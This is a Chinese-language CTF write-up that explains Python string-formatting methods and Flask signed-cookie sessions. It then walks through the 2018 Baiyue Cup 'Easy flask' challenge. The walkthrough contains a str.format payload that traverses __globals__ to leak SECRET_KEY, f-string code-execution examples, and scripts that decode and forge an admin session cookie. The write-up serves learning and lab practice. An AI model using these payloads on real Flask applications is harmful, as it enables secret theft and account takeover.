此文章为原创连载文章,关注公众号,持续更新。
Python格式化字符串
1. %操作符
%操作符 和C语言的printf语法风格一样。
代码语言:javascript复制>>> str='world'>>> 'hello %s' % str'hello world'
%s(字符串),%d(十进制整数),%f(浮点数)。
2. str.format()
2008发布的Python2.6开始有新的格式化字符串数str.format()。
参考文档:
https://docs.python.org/3.6/library/string.html#formatstrings
代码语言:javascript复制>>> str='world'
>>> 'hello {}'.format(str)
'hello world
存在安全隐患的事例代码:
代码语言:javascript复制>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"
P神总结:
"{username}".format(username='phithon') # 普通用法
"{username!r}".format(username='phithon') # 等同于 repr(username)
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数
"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制
"{user.username}".format(user=request.username) # 获取对象属性
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值
3. f-string
2016发布的python3.6新增f-string。可以执行字符串中包含的python表达式。
参考文档:
https://www.python.org/dev/peps/pep-0498/
代码语言:javascript复制>>> a=5
>>> f'number is {a}'
'number is 5'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'
在Windows系统
代码语言:javascript复制>>> f'{__import__("os").system("calc ")}'
'0'
>>>
在有了f字符串后,即使我们不闭合双引号,也能插入任意代码了:
4. string.Template
代码语言:javascript复制from string import Template
name='world'
t = Template('Hello, $name!')
a=t.substitute(name=name)
print(a)
输出:
Hello, world!
2.Flask session
默认情况下,Flask会使用名为“signed cookies”的一种机制,这是在客户端(而非服务端)存储当前会话(session)数据的一种简单方式,使其(从理论上)无法被篡改。
Session数据分为会话数据,时间戳,加密哈希。
会话数据:只是经过base64编码的字符串。我们使用itsdangerous的base64解码器对其进行解码,便可以得到和伪造。
时间戳:可以告诉服务端数据最后一次更新的时间。这个我们不要关心。
加密哈希:就是让cookie变得“安全”的字段。就是我们会在题目见到的SECRET_KEY。服务器向我们发送最新的会话数据之前,会结合我们的会话数据、当前时间戳以及服务器的私钥来计算sha1哈希。我们可以通过其他方式获取到(比如模板注入)SECRET_KEY。
假设现在我们有一串 session 值为:
eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY
通过:
代码语言:javascript复制from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
print(base64_decode(data))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))
我们得到了会话数据和时间戳。
然后利用:
代码语言:javascript复制from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY']='test' #换成获得的SECRET_KEY
@app.route('/')
def set_id():
session['user_id']=5 #这个根据题目需要添加
return "ok"
app.run(debug=True)
我们可以够着session,如session['user_id']=5 或许就是admin,不过最重要的是SECRET_KEY。
详细内容可以这篇文章,客户端 session 导致的安全问题
(https://www.leavesongs.com/PENETRATION/client-session-security.html)
3.例题分析
环境搭建
题目链接
(https://github.com/hongriSec/CTF-Training/blob/master/2018/百越杯2018/Web/Easy flask.zip)
也可以在(https://github.com/shrewdnoob/webCTF)找到
题目是百越杯2018的。
我用的是python3.7的,python3.8会出现一些错误。
题目用的是flaskr结构,修改工作目录名为flaskr.
如果没有flask_sqlalckemy模块(pip install flask_sqlalchemy==2.2 )
在flaskr包里创建一个flag文件,里面是你的flag(比如flag{flag-is-here})
然后set FLASK_APP=__init__.py
接着flask init-db 初始化数据库
就可以flask run了
题目讲解
1.查看题目:
打开题目如图所示,先注册自己的账号,登录发现
结合题目,尝试遍历id,在id=5时,发现正是admin.
但在我们的源代码中我们也可以看到
在我们的session中我们可以看到
解密’eyJ1c2VyX2lkIjo2fQ.XnxYVQ.3nEjCIlUpJvCoMQHgXF9I6GCwkI’我们可以得到
{'user_id': 6}
解密脚本我们直接用P神的
脚本链接:
https://www.leavesongs.com/PENETRATION/client-session-security.html)
代码语言:javascript复制#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
不是很麻烦的,可以自己直接点:
代码语言:javascript复制from itsdangerous import *
s = "eyJ1c2VyX2lkIjo1fQ.Xn1LuA.SPyMRxGOcjD6G0LtOelByr6RgWc"
data= s.split('.')[0]
print(base64_decode(data))
两个脚本一样的原理。
所以我们需要把session换成admin的session,即把user_id换成5。
而构造session就需要知道SECRET_KEY.
2. 获取SECRET_KEY
在/edit页面我们可以提交修改secert。
然后我们再审计源代码。
可以发现:
secert.py
两处format,第一处的secret是我们可控的,就是edit secert,于是测试
当我提交{user_m.password}时
我们利用自己构造的payload:
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
(不会构造的,可以在我以后教程里学到。)
用F12 查看或直接右键点击查看源码,就可以看到SECRET_KEY
%1. 构造session
代码语言:javascript复制from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY']='test' #换成获得的SECRET_KEY
@app.route('/')
def set_id():
session['user_id']=5 #这个根据题目需要添加
return "ok"
app.run(debug=True)
利用上面的脚本,我们可以直接得到得到admin的session
%1. 获取flag
把session换成我们得到的,把url中的id值改成5,可以看到我们得到admin的账户。
然后直接访问/flag文件,就可以得到flag。
参考
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://xz.aliyun.com/t/3569#toc-3
https://www.anquanke.com/post/id/170620#h3-7
https://www.anquanke.com/post/id/170466#h2-0